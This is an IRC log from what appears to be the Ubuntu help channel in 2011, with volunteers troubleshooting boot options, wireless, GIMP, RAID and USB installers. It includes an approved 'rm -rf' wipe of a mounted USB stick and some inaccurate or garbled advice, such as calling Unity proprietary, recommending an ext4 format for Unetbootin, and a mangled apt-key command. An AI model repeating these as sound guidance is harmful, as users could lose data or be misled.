[19:02] <ActionParsnip> morgan: all I can suggest is reboot and run:  dmesg | less     and read through to se what's shaking
[19:02] <peto_> ohsix, yes I'm using Unity
[19:02] <jwmto> Thanks ActionParsnip.  I'll get back to you.  Should I reboot to know if it's working?
[19:02] <peto_> xangua, but, can I keep Unity?
[19:02] <ActionParsnip> jwmto: yes, just commant out the current texts so you can roll back easily
[19:02] <ohsix> ActionParsnip: it's not weird when people have been trying random model options and not reporting bugs :D
[19:02] <debd> does anyone know if this will work for dual boot disks?  http://e4rat.sourceforge.net/
[19:03] <morgan> ActionParsnip: Should i run dmesg | less in terminal as a command?
[19:04] <Halzen> Olson_: That sucks. Give Liquorix a shot: http://www.webupd8.org/2011/03/how-to-install-liquorix-kernel-in.html
[19:05] <JamesMason> anyone, any ideas on hp tc1100 wireless issues?
[19:05] <ActionParsnip> morgan: yes it will show the kernel messages as hardware is detected
[19:05] <Olson_> Halzen, thanks, but I dont fancy having to go throught the thing of also compiling kernel modules for video card and such ideally
[19:06] <morgan> ActionParsnip: What do i do with this massive amount of text then? I have no idea what it all means.
[19:06] <Halzen> Olson_: I've never had to do anything like that, but I don't have your hardware. I can understand why you wouldn't want to repeat such a chore.
[19:06] <spartan-11510> Hi! I'm sorry for my english but i'm french. I search how to work on Ubuntu source code. I've already searched but i don't found it
[19:06] <spartan-11510> Can you help me please
[19:06] <mongy> any ssh experts here.  I have done this before and sure it worked..but basically I have encrypted home, I made the /etc/ssh/user folder and copied my ssh to there and fixed perms to 755 folder 644 for the file, changed sshd_config to use this folder, and I am loggin in passwordless but its not decrypting my home.  what am i missing
[19:06] <Pici> spartan-11510: apt-get source packagename
[19:06] <Olson_> Halzen, it must be something to do with X configuration though, to be honest, perhaps I can just kinda reset everything
[19:07] <amnon__> i have a panasonic nv-mx500 and i can't get it to work! it's identified in USB (dmesg, lsusb) but kino and other programs say they can't identify a camera. help please.
[19:07] <schweegi> i can't mount my external hdd on the live disc. it seems to be mounted one second and then is the external hdd removed. what can i do to solve this problem?
[19:07] <Halzen> Olson_: typically, Xorg will reconfigure itself independent of your kernel choice. Just give it a shot. If Liquorix gives you trouble, you can always boot back into the generic kernel you had before.
[19:07] <jwmto> thank Oh6
[19:08] <spartan-11510> Pici, yes but i don't know where i can begin...
[19:08] <Olson_> Halzen, perhaps I will try that, you've given me idea to have a go with first though, and that is to try removing video card drivers, reset X and start over with that
[19:08] <spartan-11510> What package?
[19:08] <Pici> spartan-11510: You want to contribute to Ubuntu?
[19:08] <spartan-11510> Yes
[19:08] <Halzen> Olson_: Always worth a shot. Good luck. :)
[19:08] <Pici> spartan-11510: See https://wiki.ubuntu.com/UbuntuDevelopment
[19:08] <Olson_> Halzen, cheers. I bookmark your link for sure
[19:08] <spartan-11510> Thx
[19:08] <Olson_> see you on the other side
[19:10] <jaszandre> hi . I have a problem with my gedit in ubuntu 10.10. maybe anyone could help me please
[19:10] <sine_> hi guys, is there an ftp where i can get the latest ubuntu for my i7 64bit laptop
[19:10] <Halzen> jaszandre: I love Gedit! What problems are you having?
[19:11] <LjL> sine_: why does it have to be an ftp?
[19:11] <jaszandre> when I write Gedit in the Terminal .. I have an alert message
[19:11] <sine_> ljl it doesnt but i have filezilla open and thought it would be nice to have resume if needed
[19:11] <morgan> ActionParsnip: I have all the text, but can't really make out where stuf whent wrong. Have tried to go through it. What am I looking for?
[19:12] <LjL> sine_: you can resume on http just fine
[19:12] <amnon_> i have a panasonic nv-mx500 and i can't get it to work! it's identified in USB (dmesg, lsusb) but kino and other programs say they can't identify a camera. help please.
[19:12] <Halzen> sine_: If you want pause/resume, try a torrent: http://releases.ubuntu.com/11.04/ubuntu-11.04-desktop-amd64.iso.torrent
[19:12] <trailoryo> jaszandre, try writing gedit, not Gedit
[19:12] <uwex> jaszandre: try lowercase
[19:12] <Halzen> jaszandre: Does Gedit work in the alt-F2 prompt?
[19:13] <bsamson> Has anybody else had trouble with full screen flash video freezing the xserver in Natty?
[19:13] <ubunub> when i turn on my netbook, it loads grub and then it pauses for a while. after that it goes to a shell, and if i type in 'exit' it then loads ubuntu. im setting up this netbook for  friend, and i dont want it to tdo that everytie he tuns on ubntu.
[19:13] <Halzen> bsamson: That is a known Flash issue. Try opening your Flash preferences and disabling hardware acceleration.
[19:14] <ubunub> how do i fix it? the error message shown is somehing about it not finding root, whatever that is.
[19:14] <jaszandre> in fact, gedit works ... but I'm worried  because of the message.. could you see the message ? I have it  in paste.ubuntu
[19:14] <bsamson> Halzen: thanks ^^ you have a link to a case or anything?
[19:14] <trailoryo> jaszandre, the terminal is case sensitive. thats why you get error msg when typing Gedit. alt+F2 wont run Gedit neither.
[19:15] <Halzen> bsamson: Google fullscreen flash linux and you'll have millions of hits.
[19:15] <ShockDoc> hello!
[19:15] <trailoryo> jaszandre, link?
[19:15] <ShockDoc> anyone here? :)
[19:15] <wang_> hello.. is there a way to make the menubar on the top of the screen static? so that it shows up even if you don't hower over it?
[19:15] <Halzen> ShockDoc: Plenty here. :P
[19:15] <bsamson> Halzen: yeah most of those are ancient though :/
[19:15] <ActionParsnip> ShockDoc: nobody at all
[19:15] <ubunub> i am!
[19:15] <ShockDoc> does anyone know how I can make ubuntu 11.04 boot in verbose mode?
[19:15] <Superstar> Can anyone help me install Cinelerra please? I've added the PPA, I've ran apt update, but still nothing?
[19:15] <pseubodot> is there any way I can force my ubuntu desktop to boot only to console?
[19:15] <Dr_Willis> wang_:   You mean the left side launcher bar?
[19:15] <Halzen> bsamson: Ancient, but still very relevant. The problem has not been solved on even the newest version of Flash, the newest version of Ubuntu, and the newest Linux kernel.
[19:16] <ubunub> ShockDock yes
[19:16] <Dr_Willis> pseubodot:  grub  has a 'text' option that does just that.
[19:16] <ActionParsnip> ShockDoc: press ESC when plymouth shows and you can watch the boot messages
[19:16] <ubunub> re you on the computer your using?
[19:16] <ShockDoc> I don't want to press ESC every time
[19:16] <ActionParsnip> ShockDoc: alternatively you can run:  dmesg | less    and read them once you log in
[19:16] <Dr_Willis> pseubodot:  edit /etc/default/grub and replace splash quiet with 'text'
[19:16] <wang_> Dr_Willis, the top one.. by default is shows the name of the application you're on.. if you mouse over it it will give you the menu bars.. how do I make the menubars permantent
[19:16] <pseubodot> Dr_Willis:recovery mode, correct?
[19:16] <jaszandre> look at this please http://paste.ubuntu.com/602419/
[19:16] <ShockDoc> ah
[19:16] <omidp> hey guys how can i solve this problem? You must have GTK+ 2.10.0 or newer development headers installed to compile
[19:16] <ShockDoc> text
[19:16] <ShockDoc> I've tried verbose
[19:16] <ShockDoc> didn't look
[19:16] <ActionParsnip> ShockDoc: then remove the boot options: quiet splash    in /etc/default/grub
[19:16] <DrDuck`> I would like to convert from gnome 3 back to unity for the 11.04 distribution. Any insight on how to go aboutdoing this would be great.
[19:16] <Dr_Willis> wang_:  ahh you want the global menu to always be shown. Not notced a way to do that yet...
[19:17] <ActionParsnip> ShockDoc: you will need to rn: sudo update-grub    to apply the change
[19:17] <Dr_Willis> wang_:  the webupd8 blog site had a list of tips and tweaks - it may be in there
[19:17] <ShockDoc> I'll try using text instead of verbose
[19:17] <ShockDoc> thanks for the help ;
[19:17] <spyhermit> so, anyone been able to use 11.04 inside virtualbox?
[19:17] <pseubodot> Dr_Willis: but I would have to run update-grub, no?
[19:17] <ShockDoc> yeah,I know
[19:17] <luca__> !it
[19:17] <ubottu> Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[19:17] <ShockDoc> thanks ActionParsnip
[19:17] <Dr_Willis> pseubodot:  'text'  option is not the same as revovery mode,. and you always hacve to run update-gruvb after editing the configs
[19:17] <Distress> Hello, im having major issues with the sound input on my fresh ubuntu 11.04 install. The sound is really distorted, and when i make test recordings the audio gets randomly looped on the track.
[19:17] <ubunub> *sigh*
[19:18] <DrDuck`> :D
[19:18] <hadorhuorn> Hi, Since I have two monitors and since I upgraded to natty all my notifications appears on the one on the right so I miis them all. any way to make them appear on both monitor or to follow focus ? thank you.
[19:18] <bear_>             hi
[19:18] <pseubodot> Dr_Willis: right. I don't get the grub screen at boot (goes right through it), and my X is messed up after the 10.10>11.04 upgrade, so am trying to get back to cli to diagnose and fix
[19:18] <wang_> Dr_Willis, webupd8?
[19:18] <pseubodot> Dr_Willis: am working off an install cd, and can edit files
[19:19] <Halzen> hadorhuorn: As I understand it, Unity has not yet been properly optimized for multiple monitors. Gnome might serve you a bit better for that, imo.
[19:19] <jaszandre> this is the message when I write Gedit. I don't know why is this happening  http://paste.ubuntu.com/602419/
[19:19] <noes1s> How can i run a script when i connect to a wifi?
[19:20] <Halzen> jaszandre: Are you using an up-to-date version of Ubuntu with Gnome?
[19:20] <luca__> !it
[19:20] <jensp> hey there, I'm having some trouble with sharing a printer with samba. The printer doesn't turn up in my samba shares, but the other shares do. When I restart samba the printer is there. There seems to be some kind of race condition where samba gets started before cups and doesn'T find the printers
[19:20] <jaszandre> I'm using ubuntu 10.10
[19:20] <jensp> can I make samba depend on cupsd or something like that?
[19:20] <jensp> oh yeah I'm running 10.10
[19:20] <Dr_Willis> wang_:  check   http://www.webupd8.org/2011/03/disable-appmenu-global-menu-in-ubuntu.html
[19:21] <hadorhuorn> Halzen : yeah, I've googling for this problem for an hour or so, and I'm afraid there's nothing I can do :(
[19:21] <Dr_Willis> pseubodot:  if grub  menu is hidden. you tap the shift key to make it show up
[19:21] <jaszandre> that message's been there since yesterday
[19:22] <andeeeuk_> hi everyone
[19:22] <Halzen> hadorhuorn: Unity is very young, and is proprietary to Canonical and Ubuntu. Gnome and KDE, on the other hand, are very established for all desktop purposes. That's just a reality at the moment. =/
[19:22] <andeeeuk_> does anyone know how to setup single window mode in gimp ubuntu?
[19:22] <pseubodot> Dr_Willis: trying
[19:23] <jaszandre> Halzen . did you see the link?? http://paste.ubuntu.com/602419/   please .. any idea to sove the problem??
[19:23] <ubunub> when i turn on my netbook, it loads grub and then it pauses for a while. after that it goes to a shell, and if i type in 'exit' it then loads ubuntu. im setting up this netbook for  friend, and i dont want it to tdo that everytie he tuns on ubntu.
[19:23] <ubunub> how do i fix it? the error message shown is somehing about it not finding root, whatever that is.
[19:23] <ShockDoc> I'm back fellas
[19:23] <ShockDoc> using the "text" option drops me down to a shell :/
[19:23] <Halzen> jaszandre: I saw it, but I'm not sure how to solve it. I would try Googling one or two of the error lines.
[19:23] <ruffleS> hi guys. i'd like to ask you a question: will that swappiness trick still work on ubuntu 11.04? i've got 4gb ram and i'm considering making it swappiness=0. will that improve my OS responsiveness? oh, a 'free -m' tell me none of my 250mb swap is being used, by the way...
[19:23] <enlight22> omg my system is screwed
[19:24] <trailoryo> I remember in one version when you swapped workspaces there was a cube turning around. Is it possible to get this in 11.04? or atleast is it possible to keybind(or something) workspaces?
[19:24] <Halzen> ruffleS: I have no reason to think that the swappiness won't still work.
[19:24] <enlight22> why does my seperate x screen not accept keyboard input but i can paste to it, worked fine on 10.10, broken on 11.04
[19:24] <maco> jensp: you can edit /etc/init/smbd.conf to add a dependency on the cups service
[19:24] <jaszandre> ok halsen.. ,.. I was looking for something similar ,too ..but I haven't found anything about it
[19:24] <ruffleS> andeeeuk_, i guess u'll have to have gimp 2.7 beta
[19:24] <ShockDoc> ActionParsnip, any ideas for my grub issue?
[19:25] <hadorhuorn> Halzen : Yeah, It works perfectly when launching in classic mode (and always have). Anyway thanks for the advice ;)
[19:25] <envygeeks> jaszandre: check your /.gtkrc-*.* file and see that those variables are TRUE OR FALSE
[19:25] <envygeeks> jaszandre: sorry, 0 or 1 not TRUE OR FALSE
[19:25] <Halzen> hadorhuorn: Long live Gnom- Uhh, I mean, no problem. :P
[19:25] <andeeeuk_> ruffleS i used to have it on 10.10 but since the upgrade it has not worked
[19:25] <ActionParsnip> ShockDoc: i'm not good with grub
[19:26] <jaszandre> ok.. here I go envygeeks
[19:26] <ShockDoc> anyone else know how can make 11.04 boot verbose?
[19:26] <ruffleS> Halzen, given 'free -m' tells me none of my 250mb swap is being used at the moment, do you think making swappiness=0 may improve my OS responsiveness/overall speed??
[19:26] <varunthacker> I tried installing gnome3
[19:26] <Halzen> ruffleS: It often improves system responsiveness, but remember that suspend and hibernate depend on swap by default.
[19:26] <JWay> I assigned caps lock to switch keyboard language and it worked perfect in 10.10, however in clean install 11.04, I am sometimes forces to press caps lock twice or thrice before it switches layout. Why does this happen?
[19:27] <varunthacker> I keep getting the .ICEauthority error
[19:27] <pseubodot> Dr_Willis: okay, I used the shift key as you said, then changed the grub cmd line part from 'quiet splash' to 'text'
[19:27] <ruffleS> andeeeuk_, i'm not sure where you can get it, sorry.... maybe a PPA...
[19:27] <pseubodot> Dr_Willis: I'm seeing multiple errors on boot,
[19:27] <Sharpshooter761> hello everyone
[19:27] <jensp> maco: thanks, just noted this has already been reported as #494141
[19:27] <pseubodot> Dr_Willis: looks like the machine borked, since the boot process doesn't finish, and I don't get a login prompt
[19:27] <Dr_Willis> !appdb
[19:27] <ubottu> The Wine Application DB is a database of applications and help for !Windows programs that run under !WINE: http://appdb.winehq.org - Join #winehq for application help
[19:28] <varunthacker> apparantly If i install lxde then boot into it once and then log back in gnome shell it works. The problem is how do i install lxde
[19:28] <ChrisBuchholz> Hey guys. How can i install python 2.7 in ubuntu 10.10 ?
[19:28] <varunthacker> I logged in through command line
[19:28] <ChrisBuchholz> Is there some ppa i can use? (have looked but not found)
[19:28] <varunthacker> how do i connect to my home network
[19:28] <Halzen> ChrisBuchholz: You will likely need to build that from a tarball source, since the PPA version is up to 3.1
[19:28] <pseubodot> Dr_Willis: thanks for the help. I'm going to rebuild the box on another hd and use this one to recover
[19:28] <ruffleS> ShockDoc, i think i do... try editing /etc/default/grub and remove quiet and splash from this line: GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
[19:29] <ShockDoc> I tried that ruffleS , but is doesn't work :/
[19:29] <ShockDoc> it*
[19:29] <ChrisBuchholz> Halzen: damn, thats unfortunate
[19:29] <Dr_Willis> varunthacker:  i do sudo apt-get install lubuntu-desktop here. :) but i noticed the lxdm login m,anager has issues.. and use gdm instead
[19:29] <variable> my mouse is uncalibrated on my laptop. I need to click above the spot I want to actually do anything. Where can I fix this?
[19:29] <andeeeuk_> http://ppa.launchpad.net/matthaeus123/mrw-gimp-svn/ubuntu ruffleS that was the PPA i have used
[19:29] <Halzen> ChrisBuchholz: It's highly unusual that you specifically need Python 2.7 for a project. Are you sure you can't roll with Python 3.1?
[19:29] <spyhermit> so, installed 11.04 in virtualbox, installed guest additions, unity works, but the icons are huge and blocky and the text in the title bar is also huge and blocky.
[19:29] <enlight22> is there any reason why i would no longer be able to type in seperate x screen but could in 10.10
[19:30] <morgan> Hey. I cant seam to enable my Wireless Device in my system tray. It seams my Broadcom device is not broadcasting. The drives are activated but I can't find it via my system tray icon. http://pastebin.com/PC0gjwAk
[19:30] <andeeeuk_> has anyone else got gimp in single window mode
[19:30] <ruffleS> ShockDoc, did you try running: update-grub
[19:30] <Halzen> enlight22: Frankly, I don't think Unity is ready for use on multiple windows. =/
[19:30] <ShockDoc> yes ruffleS
[19:30] <spyhermit> installed compizconfig-settings-manager, set icons to not grow,
[19:30] <spyhermit> they look good. The text is still nasty. any ideas?
[19:30] <varunthacker> Dr_Willis: How to connect to my network from command line ?
[19:30] <enlight22> Halzen: im using classic mode... unity it seems isnt ready for use at all
[19:30] <Dr_Willis> varunthacker:  depends on how you are connected.. wirerd or wireless..
[19:30] <ruffleS> ShockDoc, someone here just said you could maybe try 'text' here: GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
[19:31] <ruffleS> make it: GRUB_CMDLINE_LINUX_DEFAULT="text"
[19:31] <varunthacker> Dr_Willis: wireless
[19:31] <ruffleS> ShockDoc,
[19:31] <Dr_Willis> varunthacker:  theres various commands you use. I dont use them enough to rember them.
[19:31] <Halzen> andeeeuk_: In the new GIMP 2.8, single window mode is activated via a checkbox in the Windows menu.
[19:31] <ShockDoc> just tried that ruffleS , didn't work, then it booted into a shell
[19:31] <Dr_Willis> varunthacker:  iwconfig and a few iw*  i recall.
[19:31] <Halzen> enlight22: Haha, I hear you. Well, are you using an Nvidia or ATI video device?
[19:32] <variable> my mouse is uncalibrated on my laptop. I need to click above the spot I want to actually do anything. Where can I fix this? -> any ideas?
[19:32] <mongy> any ssh experts here.  I have done this before and sure it worked..but basically I have encrypted home, I made the /etc/ssh/user folder and copied my ssh to there and fixed perms to 755 folder 644 for the file, changed sshd_config to use this folder, and I am loggin in passwordless but its not decrypting my home.  what am i missing
[19:32] <andeeeuk_> Halzen yeah I had that before, did you get it from that repo?
[19:32] <Mopsy> i'm havin trouble installing ubu 11, first it always boots into gnome when liveusbing, second i choose to install grub on a partition cuz i'm having truecrypt bootloader in the mbr, i want dualboot, any hints?
[19:32] <tasslehoff> Do any themes for 11.04 also work on launcher/dash/panel? none of the ones I've tried so far change the look of those.
[19:33] <Dr_Willis> tasslehoff:  i dont think so.
[19:33] <ruffleS> ShockDoc, there's another thing you can try... i don't know if this would apply to ubuntu anymore but i would try finding out  how to switch the runlevel
[19:33] <Dr_Willis> Ubuntu dosent really use runlevels any more. the 'text' option shoud get to a TExt only login.
[19:34] <sine_> is there gparted in the cd of latest ubuntu so i can resize my partition
[19:34] <morgan> I have just insalled the 11.04 and the wireless is not working.
[19:34] <usalabs> morgan: if you're using unity, there is no actually system/task bar that is needed by most apps, I often use cryptkeeper, but running it, does not show it anywhere, but in ubuntu classic, it is shown in the system tray
[19:34] <Halzen> andeeeuk_: I no longer use GIMP, but when I did, I used this repo: http://ppa.launchpad.net/matthaeus123/mrw-gimp-svn/ubuntu maverick main deb
[19:34] <ShockDoc> I edited my /etc/default/grub about 20 times, still no verbose boot
[19:34] <Dr_Willis> sine_:  yes. or you could just apt-get install it..
[19:34] <enlight22> im ready to die, i had 10.10 working so well, why did i ever upgrade to 11.04... every time i upgrade ubuntu nothing works right
[19:34] <ruffleS> ShockDoc, run this command and reat its output: man /etc/default/grub
[19:34] <[PanzeR]DzaDze>  /msg nickserv register dzadze_23 dzadze.david@gmail.com
[19:34] <Halzen> andeeeuk_: Use this authentication key line: sudo apt-key adv - recv-keys - keyserver keyserver.ubuntu.com 405A15CB
[19:34] <andeeeuk_> Halzen yeah that is what i use
[19:34] <sine_> Dr_Willis: aptget install it in livemode
[19:34] <ShockDoc> k ruffleS , just a sec
[19:34] <tasslehoff> Dr_Willis: ok.
[19:35] <Dr_Willis> ShockDoc:  you did run update-grub? if its still not working. could be grub is installing to the wrong place. and you are using an old grub.
[19:35] <andeeeuk_> Halzen i have that all done, what do you use?
[19:35] <Halzen> andeeeuk_: If that is updated, you should have a single-window option.
[19:35] <Dr_Willis> sine_:  you can install packatges on a live-desktopp session.. they will get lost after reboot ofcourse :)
[19:35] <ShockDoc> nah Dr_Willis , the grub is brand new :p
[19:35] <andeeeuk_> Halzen i think i need to update my repos first and then it will upgrade
[19:35] <Dr_Willis> ShockDoc:  it could be from an old er install, or differnt update-grub. ive had grub installed on 3+ hd;s befor.. that caused issues one day for me..
[19:35] <pepee> hi. so I had this problem: I couldn't open some websites. by changing the MTU, could make it work for some, but others didn't open..
[19:36] <andeeeuk_> Halzen, do you use photoshot now then?
[19:36] <envygeeks> Dr_Willis: it depends remember, USB Sticks are considered live systems but you can alter it to be persistent too.
[19:36] <Halzen> andeeeuk_: Yes, I have Photoshop CS5 running smoothly under Wine.
[19:36] <pepee> so I (hope) think finally I've found the solution: http://serverfault.com/questions/235965/why-would-a-server-not-send-a-syn-ack-packet-in-response-to-a-syn-packet
[19:36] <Mopsy> any idea why it boots into gnome?
[19:36] <Dr_Willis> ShockDoc:  you could also cut/paste a kernel entry from the /boot/grub.cfg to /etc/grub.d/40_custom and make it have the text option only.
[19:36] <andeeeuk_> Halzen, nice one!!
[19:36] <Dr_Willis> envygeeks:  I do 'full' normal installs to my usbs :)
[19:36] <envygeeks> Halzen: You have a link to the tutorial you used to get CS5 to work smooth?
[19:36] <Guest54461> can lvm act as a RAID drive and reduce disk read time?
[19:36] <ShockDoc> Dr_Willis, ??
[19:36] <andeeeuk_> Halzen, do you have any problems with it at all?
[19:37] <Halzen> envygeeks: Check the comments in the WineHQ AppDB.
[19:37] <Dr_Willis> ShockDoc:  if you are ediing /etc/default/grub nd the changes are not takeing effect. then somthing very weird is going on.
[19:37] <envygeeks> Thanks Halzen, will do
[19:37] <Halzen> andeeeuk_: For a while, I had a couple of glitches, but my own tweaks and a new kernel have it running silk.
[19:37] <Distress> Anyone else having issues with audio input in 11.04?
[19:37] <ShockDoc> well I think something is wrong with the nvidia drives is what is causing the issue Dr_Willis
[19:37] <Halzen> Distress: I've been hearing audio input problems all day. You're not alone.
[19:38] <Distress> crap
[19:38] <andeeeuk_> Halzen good stuff, I had cs4 running without any problems
[19:38] <morgan> usalabs: Well, i have the icon for network in the upper right corner (system tray right?) . I have connected via my cellphone externally to get to Internet. So the ordinary wired network works. I have ticked the 'Networking Enabled' options and in the Ubuntu 10.04 I had before had one for wireless to be ticked too. I don't have it. Can I enable my wireless card in any other way? The drives are installed and the hardware switch is
[19:38] <morgan>  set to on.
[19:38] <McNulty_> Just installed 11.04 inside a Virtualbox and it's not picking up my second ethernet adaptor - what can I do to debug it? I've added a line for eth1 in /etc/network/interfaces
[19:38] <andeeeuk_> Halzen, was really good
[19:38] <Guest54461> Why is everyone ignoring me?
[19:38] <Dr_Willis> ShockDoc:  that would not be affecting grub.   some options in grub can fix the plymouth/nvidia issues that often are a problem
[19:38] <Halzen> andeeeuk_: If you're willing to pay up for it, CS5 is a great upgrade over CS4. I actually upgraded from good old 7.0 xD
[19:38] <ShockDoc> ah, well I'm out of options Dr_Willis  ;)
[19:39] <Dr_Willis> Guest54461:  perhaps pick a real nick. and  rephrase the question.
[19:39] <andeeeuk_> Halzen, I would do but it does dost a lot
[19:39] <pepee> there are very strange problems in linux, and one has to guess how to fix them
[19:39] <ShockDoc> now I have GRUB_CMDLINE_LINUX_DEFAULT=""
[19:39] <Dr_Willis> ShockDoc:  you could try 'sudo dpkg-reconfigure grub-pc' and see where grub is isntalling to.. make sure its the same hd you are booting.
[19:39] <ShockDoc> I'I'm sure of that Dr_Willis , installed to the MBR
[19:39] <Halzen> andeeeuk_: Yes, it's definitely costly. I'm a professional graphic designer, and GIMP just wasn't cutting it for me. However, I do use Inkscape in place of Illustrator. I think GIMP is coming along just fine, too.
[19:39] <Dr_Willis> ShockDoc:  save it. rerun 'sudo update-grub'  then check the /boot/grub.cfg to see if the options tool affect.
[19:40] <ChessTeach> If I have two hard drives, can I use LVM to divide data between them similiar to RAID drives?
[19:40] <Dr_Willis> !lvm
[19:40] <ubottu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/Installation/SoftwareRAID and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto
[19:40] <ShockDoc> updated, Dr_Willis
[19:40] <myrmidette> hello, I'm having trouble burning the 11.04 iso to a usb stick
[19:40] <ShockDoc> shall I reboot?
[19:40] <Dr_Willis> ShockDoc:  grub.cfg has the changes in it?
[19:41] <Halzen> myrmidette: Can you be a bit more specific? What OS are you trying to burn it with?
[19:41] <andeeeuk_> Halzen, yeah for a pro i can see why, I have been uding gimp for a while now as well and have found it a great tool. Really bad without single window mode though
[19:41] <myrmidette> Halzen, ubuntu 10.04
[19:41] <Dr_Willis> myrmidette:  what tool are you using to put it on an usb?
[19:41] <Halzen> myrmidette: Ah, yes, Lucid gave me a hard time with the built-in tool. Unetbootin worked fine, though.
[19:42] <ruffleS> ShockDoc, the splash screen is probably hard coded into the kernel.. if i were you i would try both googling and reading 'man /etc/default/grub'
[19:42] <ShockDoc> uh yes Dr_Willis
[19:42] <myrmidette> it only gets to the bootloader (syslinux) and then freezes
[19:42] <ShockDoc> it used to be so easy to get a verbose boot :/
[19:42] <ShockDoc> well I'll have a reboot, see what happens
[19:42] <Dr_Willis> ShockDoc:  so.. if you reboot and the grub menu does not show those changes.. well that would point to your grub some how using some other configs.. which would be weird.
[19:42] <Dr_Willis> ShockDoc:  i just edit the grub menu on the fly and put in the 'text' option
[19:43] <ShockDoc> yeah I know, that works Dr_Willis , but that's not what I want, the text thing actually boots to a command line
[19:43] <ShockDoc> brb, gonna reboot
[19:43] <Halzen> myrmidette: Try installing Unetbootin and burning the USB with that. Make sure to format the USB with the tool before writing to it.
[19:43] <_jeff> whenever i turn on my system and type my username and before i enter a password, the login screen appears to quick drop down to a shell and asks me to enter my username again and this second time i can enter my password. is gdm crashing?
[19:44] <myrmidette> Halzen, how do I format?
[19:44] <bsodmike> hello
[19:44] <bsodmike> any one know how to diagnose a PTY issue?
[19:44] <habriel> i have a mistake and show message habriel@master:~$ sudo cfgmaker public@localhost > /etc/mrtg.cfg
[19:44] <habriel> bash: /etc/mrtg.cfg: Permiso denegado
[19:44] <ShockDoc> still nothing guys ._.
[19:45] <habriel> i can't do it
[19:45] <tasslehoff> One cannot run Gnome 3 and Unity side by side on 11.04, right?
[19:45] <save> Anyone think they can help with some FFMPEG issues i'm having?
[19:45] <_jeff>  whenever i turn on my system and type my username and before i enter a password, the login screen appears to quick drop down to a shell and asks me to enter my username again and this second time i can enter my password. is gdm crashing?
[19:45] <Halzen> myrmidette: Oh, my bad. Use Gparted to format the USB drive to ext4. Be VERY careful when selecting the device to format. If you're careless, you risk wiping one of your system partitions.
[19:45] <jensp> habriel: the redirection ">" happens with your normal right, not with "sudo" priviledges
[19:45] <jensp> habriel: sudo -i and run the command again
[19:45] <myrmidette> Halzen, will rm -rf /media/D286-1AD2/* work too?
[19:46] <habriel> ok i will try
[19:46] <habriel> thanks
[19:46] <Halzen> myrmidette: If you have the right media name, and it was ext or fat32 before, then sure.
[19:46] <myrmidette> kk
[19:47] <D-coy> o/
[19:47] <nerdshell> tasslehoff: tes
[19:48] <myrmidette> Halzen, how do I delete all the hidden files?
[19:48] <patrunjel> guys, I have to mount some movies in .iso format, can someone please tell me what application should I use? :) (something equivalent to Daemon tools on windows)
[19:48] <_jeff> whenever i turn on my system and type my username and before i enter a password, the login screen appears to quick drop down to a shell and asks me to enter my username again and this second time i can enter my password. is gdm crashing?
[19:48] <Halzen> myrmidette: a format will delete all nonessential files.
[19:48] <ChessTeach> Does FakeRAID provide any preformance benefits?
[19:48] <spyhermit> patrunjel: mount -o loop disk1.iso /mnt/disk
[19:49] <xcyclist> okay, I just had a disaster installing 11.04.  Please suggest what to do next.
[19:49] <nerdshell> myrmidette: rm ".*"
[19:49] <spyhermit> then you can access it like any other dvd
[19:49] <iceroot> ChessTeach: its the same performance as software-raid
[19:49] <xcyclist> I should say, upgrading to 11.04 from 10.00
[19:49] <antidolboslav> hi all
[19:49] <ChessTeach> iceroot: which isn't much?
[19:49] <iceroot> ChessTeach: if you dont want a dualboot with windows (and windows is also on raid) there is no single reason to use fakeraid
[19:49] <antidolboslav> i am trying to install ubuntu 11.04, but gparted doesn't see my partitions in hdd
[19:49] <xcyclist> It resized my window and gave me new menu settings I do not want.
[19:49] <iceroot> ChessTeach: there are only contras with fakeraid
[19:50] <Halzen> ChessTeach: Software RAID of any kind is nowhere near as beneficial as a hard array controller.
[19:50] <W43372> I just upgraded to Natty from Mav. I'm digging the new unity interface, but I'm wondering if I am still able to use panel applets on the top panel without switching back to the Gnome gui?
[19:50] <antidolboslav> what can fix it out?
[19:50] <ChessTeach> iceroot: ok thanks
[19:50] <xcyclist> Don't Install 11.04!!  It's a disaster!!!
[19:50] <ChessTeach> Halzen: my bios doesn't support the hard array
[19:50] <_jeff> whenever i turn on my system and type my username and before i enter a password, the login screen appears to quick drop down to a shell and asks me to enter my username again and this second time i can enter my password. is gdm crashing?
[19:50] <patrunjel> spyhermit, I mean, I don't just want to mount the .iso, because then I would have Audio_TS and Video_TS (or something similar), I would want to autoplay the image :)
[19:50] <Pici> xcyclist: Feel free to use Classic Ubuntu from the login menu if you don't care for Unity.
[19:50] <Dr_Willis> patrunjel:  vlc can play iso files.
[19:50] <Halzen> ChessTeach: Well, that sucks. Raid is very hardware-dependent, so not everyone gets to enjoy it.
[19:50] <spyhermit> patrunjel: yep. vlc is your best bet.
[19:51] <ChessTeach> Halzen: it isn't possible to download a new bios that will support RAID, correct?
[19:51] <iceroot> ChessTeach: there is no need to buy a hardware-raid-controller, just use softwareraid (not fakeraid)
[19:51] <patrunjel> Dr_Willis, spyhermit vlc is on linux too? wow :) Nice, thanks guys
[19:51] <iceroot> ChessTeach: hardware-raid is only needed on servers
[19:51] <Dr_Willis> patrunjel:  err.. of course.
[19:51] <xcyclist> Pici:  So, I am default logging in.  There is an item on the login menu that allows me to choose?
[19:51] <Pici> xcyclist: Yes.
[19:51] <ChessTeach> iceroot: i thought you said there isn't any benefits to it
[19:51] <Dr_Willis> patrunjel:  I think it may of been on linux befor i was on windows.
[19:51] <Halzen> ChessTeach: It's rare. Raid controllers are hardware, so a BIOS update would mean that it was ON your board, but disabled for some reason.
[19:51] <antidolboslav> heh
[19:51] <Dr_Willis> patrunjel:  many many years ago
[19:51] <xcyclist> Pici:  Thank you Pici.  That is very helpful.
[19:51] <antidolboslav> ok
[19:51] <iceroot> ChessTeach: i said there is no reason to use fakeraid
[19:52] <bsodmike> 'Try adding/removing udev as thats normally the prime culprit'
[19:52] <ChessTeach> iceroot: but software raid is worth it?
[19:52] <RavenHursT> Anyone here get VBGuestAdditions to work w/ 11.04 yet?  Curious how long it took for the main module to build.. mine seems to be hanging... but unfortunately there's no way for me to know... :-(
[19:52] <bsodmike> what does this mean?
[19:52] <iceroot> ChessTeach: softwareraid is ok for desktop-machines, no need to buy a hardware-raid-controller (150€)
